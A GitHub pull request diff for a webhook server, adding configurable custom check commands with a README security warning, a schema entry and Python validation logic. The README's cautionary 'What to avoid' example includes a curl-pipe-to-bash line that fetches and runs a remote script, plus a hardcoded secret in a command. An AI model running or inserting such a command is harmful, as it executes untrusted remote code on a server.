Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
39 commits
Select commit Hold shift + click to select a range
c2a367f
fix: improve Custom Check Runs robustness and security
rnetser Dec 30, 2025
674b371
refactor: simplify custom-check-runs to trust-based model
rnetser Jan 1, 2026
a3c6b82
refactor: change custom check env from object to list of variable names
rnetser Jan 1, 2026
2a613d8
docs: add env var usage example to custom-check-runs schema
rnetser Jan 2, 2026
0c1f5ca
refactor: align custom checks with built-in check behavior
rnetser Jan 2, 2026
5637f5e
feat: support explicit values in custom check env vars
rnetser Jan 2, 2026
85d1821
refactor: remove triggers/required fields from custom checks
rnetser Jan 2, 2026
b94c158
refactor: consolidate custom check validation to single location
rnetser Jan 2, 2026
7f30680
refactor: simplify closure and fix test fixtures
rnetser Jan 2, 2026
63c6f03
resolve conflicts
rnetser Jan 5, 2026
460095e
fix: remove undefined format_task_fields and invalid logger.step calls
rnetser Jan 6, 2026
c3512a9
Merge branch 'main' of github.com:myk-org/github-webhook-server into …
rnetser Jan 6, 2026
4215081
refactor(custom-checks): simplify env vars and check run status handling
rnetser Jan 6, 2026
6a6a1e5
fix(custom-checks): inherit parent environment for subprocess execution
rnetser Jan 6, 2026
b4ba235
fix(custom-checks): address CodeRabbit review comments
rnetser Jan 6, 2026
5b5812a
fix(custom-checks): address CodeRabbit review comments (round 2)
rnetser Jan 6, 2026
02e6252
fix(custom-checks): add duplicate name detection and improve typing
rnetser Jan 6, 2026
7ed2baa
fix(tests): tighten return type annotations to satisfy ANN401
rnetser Jan 6, 2026
c548ebc
fix(tests): tighten get_value_side_effect return type
rnetser Jan 7, 2026
3af1304
fix(tests): use dict[str, object] instead of dict[str, Any] in type a…
rnetser Jan 7, 2026
8442fe6
Merge branch 'main' of github.com:myk-org/github-webhook-server into …
rnetser Jan 11, 2026
16f46a6
refactor: address PR #961 review comments
rnetser Jan 11, 2026
c96a569
feat: add mandatory option for custom check runs
rnetser Jan 11, 2026
a9eaa8f
refactor: remove env field support from custom check runs
rnetser Jan 11, 2026
794ef2a
Merge branch 'main' of github.com:myk-org/github-webhook-server into …
rnetser Jan 12, 2026
1a37f6c
refactor: replace specific check run methods with generic pattern
rnetser Jan 12, 2026
1f9d61a
refactor: unify custom and built-in check execution into single run_c…
rnetser Jan 12, 2026
b27635e
fix: address CodeRabbit review comments for custom check runs
rnetser Jan 13, 2026
33818a4
fix: remove duplicate auto_verified_and_merged_users definition
rnetser Jan 15, 2026
29f67d8
fix: remove unnecessary custom: prefix stripping from /retest handler
rnetser Jan 16, 2026
3aa09bc
refactor: remove redundant comments from handler files
rnetser Jan 16, 2026
b53dd88
fix: add type guards and improve test assertions for custom check val…
rnetser Jan 16, 2026
162b93b
fix: add type guards for custom check validation and improve test typing
rnetser Jan 16, 2026
7bf86bc
fix: improve type safety, graceful timeout handling, and test consist…
rnetser Jan 16, 2026
cd650fc
refactor: address PR #961 review comments
rnetser Jan 16, 2026
e025430
fix(runner): track scheduled tests for accurate retest error logging
rnetser Jan 17, 2026
3498fab
docs: add security warning for custom-check-runs feature
rnetser Jan 18, 2026
a05ed3b
fix(runner): wrap custom check commands in shell for env var support
rnetser Jan 18, 2026
f877603
Merge branch 'main' of github.com:myk-org/github-webhook-server into …
rnetser Jan 19, 2026
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
44 changes: 44 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -1436,6 +1436,50 @@ Internet → GitHub Webhooks → [Webhook Server] ← Internal Network ← Log V
5. **Monitoring**: Enable comprehensive logging and monitoring
6. **Updates**: Regularly update to latest stable version

### Custom Check Runs Security

> [!CAUTION]
> **Security Warning:** The `custom-check-runs` feature executes user-defined commands on the server during PR events. This is a powerful capability that requires careful security consideration.

**Risks:**

- Commands run with the webhook server's system permissions
- Commands execute in the cloned repository worktree
- Malicious or misconfigured commands could compromise server security
- Environment variables in commands may expose sensitive data in logs

**Security Recommendations:**

1. **Review all commands carefully** - Only configure commands from trusted sources
2. **Principle of least privilege** - Run the webhook server with minimal required permissions
3. **Audit configurations** - Regularly review `custom-check-runs` in your configuration files
4. **Restrict configuration access** - Limit who can modify `config.yaml` and `.github-webhook-server.yaml`
5. **Monitor execution logs** - Watch for unexpected command behavior or failures
6. **Avoid sensitive data in commands** - Do not embed secrets directly in command strings

**Example of secure configuration:**

```yaml
custom-check-runs:
- name: lint
command: uv tool run --from ruff ruff check # Uses trusted, pinned tool
mandatory: true
- name: type-check
command: uv run mypy . # Runs in isolated environment
mandatory: false
```

**What to avoid:**

```yaml
# ❌ DANGEROUS: Avoid patterns like these
custom-check-runs:
- name: risky-check
command: curl https://untrusted-site.com/script.sh | bash # Never pipe to shell
- name: secret-exposure
command: API_KEY=secret123 some-command # Secrets visible in logs
```

## Monitoring

### Health Checks
Expand Down
38 changes: 38 additions & 0 deletions webhook_server/config/schema.yaml
Original file line number Diff line number Diff line change
Expand Up @@ -384,3 +384,41 @@ properties:
required:
- threshold
additionalProperties: false
custom-check-runs:
type: array
description: |
Custom check runs that execute user-defined commands on PR events.
Commands run in the repository worktree and behave like built-in checks
(tox, pre-commit, etc.) - if a command is not found, the check will fail.

Examples:
- name: lint
command: uv tool run --from ruff ruff check
mandatory: true
- name: security-scan
command: TOKEN=xyz DEBUG=true uv tool run --from bandit bandit -r .
mandatory: false
- name: complex-check
command: |
uv run python -c "
import sys
print('Running complex check')
sys.exit(0)
"
items:
type: object
properties:
name:
type: string
description: Unique name for the check run (displayed in GitHub UI)
command:
type: string
description: Command to execute in the repository directory. Environment variables can be included in the command (e.g., VAR=value command args)
mandatory:
type: boolean
description: Whether this check must pass for PR to be mergeable. Defaults to true for backward compatibility.
default: true
required:
- name
- command
additionalProperties: false
142 changes: 142 additions & 0 deletions webhook_server/libs/github_api.py
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
import contextlib
import logging
import os
import re
import shlex
import shutil
import tempfile
Expand All @@ -29,6 +30,7 @@
from webhook_server.libs.handlers.push_handler import PushHandler
from webhook_server.utils.constants import (
BUILD_CONTAINER_STR,
BUILTIN_CHECK_NAMES,
CAN_BE_MERGED_STR,
CONFIGURABLE_LABEL_CATEGORIES,
CONVENTIONAL_TITLE_STR,
Expand Down Expand Up @@ -653,6 +655,12 @@ def _repo_data_from_config(self, repository_config: dict[str, Any]) -> None:
value="pre-commit", return_on_none=False, extra_dict=repository_config
)

# Load and validate custom check runs
raw_custom_checks = self.config.get_value(
value="custom-check-runs", return_on_none=[], extra_dict=repository_config
)
self.custom_check_runs: list[dict[str, Any]] = self._validate_custom_check_runs(raw_custom_checks)

_auto_users = self.config.get_value(
value="auto-verified-and-merged-users", return_on_none=[], extra_dict=repository_config
)
Expand Down Expand Up @@ -844,6 +852,14 @@ def _current_pull_request_supported_retest(self) -> list[str]:

if self.conventional_title:
current_pull_request_supported_retest.append(CONVENTIONAL_TITLE_STR)

# Add custom check runs
# Note: custom checks are validated in _validate_custom_check_runs()
# so name is guaranteed to exist
for custom_check in self.custom_check_runs:
check_name = custom_check["name"]
current_pull_request_supported_retest.append(check_name)

return current_pull_request_supported_retest

async def cleanup(self) -> None:
Expand All @@ -860,6 +876,132 @@ async def cleanup(self) -> None:
except Exception as ex:
self.logger.warning(f"{self.log_prefix} Failed to cleanup temp directory: {ex}")

def _validate_custom_check_runs(self, raw_checks: object) -> list[dict[str, Any]]:
"""Validate custom check runs configuration.

Validates each custom check and returns only valid ones:
- Checks that 'name' and 'command' fields exist
- Verifies name doesn't collide with built-in check names
- Verifies command executable exists on server using shutil.which()
- Logs warnings for invalid checks and skips them

Args:
raw_checks: Custom check configurations from config (should be a list)

Returns:
List of validated custom check configurations
"""
validated_checks: list[dict[str, Any]] = []

# Type guard: ensure raw_checks is a list
if not isinstance(raw_checks, list):
# Use getattr since log_prefix may not be set during early __init__ calls
prefix = getattr(self, "log_prefix", "")
self.logger.warning(
f"{prefix} Custom checks config is not a list (got {type(raw_checks).__name__}), "
"skipping all custom checks"
)
return validated_checks

seen_names: set[str] = set()

# Whitelist regex for safe check names: alphanumeric, dots, underscores, hyphens, 1-64 chars
safe_check_name_pattern = re.compile(r"^[a-zA-Z0-9._-]{1,64}$")

# Regex to match env-var assignments (e.g., FOO=bar, MY_VAR=123)
env_assign_re = re.compile(r"^[A-Za-z_][A-Za-z0-9_]*=")

for check in raw_checks:
# Type guard: ensure check is a dict before accessing fields
if not isinstance(check, dict):
self.logger.warning(f"Custom check entry is not a mapping (got {type(check).__name__}), skipping")
continue

# Validate name field
check_name = check.get("name")
if not check_name:
self.logger.warning("Custom check missing required 'name' field, skipping")
continue

# Type guard: ensure name is a string (YAML could have int/list/dict)
if not isinstance(check_name, str):
self.logger.warning(
f"Custom check 'name' field is not a string (got {type(check_name).__name__}), skipping"
)
continue

# Validate name contains only safe characters
if not safe_check_name_pattern.match(check_name):
self.logger.warning(f"Custom check name '{check_name}' contains unsafe characters, skipping")
continue

# Check for collision with built-in check names
if check_name in BUILTIN_CHECK_NAMES:
self.logger.warning(f"Custom check '{check_name}' conflicts with built-in check, skipping")
continue

# Check for duplicate custom check names
if check_name in seen_names:
self.logger.warning(f"Duplicate custom check name '{check_name}', skipping")
continue
seen_names.add(check_name)

# Validate command field
command = check.get("command")
if not command:
self.logger.warning(f"Custom check '{check_name}' missing required 'command' field, skipping")
continue

# Type guard: ensure command is a string (YAML could have int/list/dict)
if not isinstance(command, str):
self.logger.warning(
f"Custom check '{check_name}' has 'command' field that is not a string "
f"(got {type(command).__name__}), skipping"
)
continue

# Strip command once for all subsequent operations
command = command.strip()

if not command:
self.logger.warning(f"Custom check '{check_name}' has empty 'command' field, skipping")
continue

# Parse command safely using shlex to handle quoting
try:
tokens = shlex.split(command, posix=True)
except ValueError as ex:
self.logger.warning(f"Custom check '{check_name}' has invalid shell quoting ({ex}), skipping")
continue

# Skip leading env-var assignments to find the real executable
executable = next((t for t in tokens if not env_assign_re.match(t)), "")
if not executable:
self.logger.warning(f"Custom check '{check_name}' has no executable, skipping")
continue

# Check if executable exists on server
if not shutil.which(executable):
self.logger.warning(
f"Custom check '{check_name}' executable '{executable}' not found on server. "
f"Please open an issue to request adding this executable to the container, "
f"or submit a PR to add it. Skipping check."
)
continue

# Valid check - add to list
validated_checks.append(check)
# Don't log raw command - may contain secrets. Only log executable name.
self.logger.debug(f"Validated custom check '{check_name}' (executable='{executable}')")

# Summary logging for user visibility
if validated_checks:
self.logger.info(f"Loaded {len(validated_checks)} custom check(s): {[c['name'] for c in validated_checks]}")
if len(validated_checks) < len(raw_checks):
self.logger.warning(f"Skipped {len(raw_checks) - len(validated_checks)} invalid custom check(s)")

return validated_checks

def __del__(self) -> None:
"""Remove the shared clone directory when the webhook object is destroyed.

Expand Down
Loading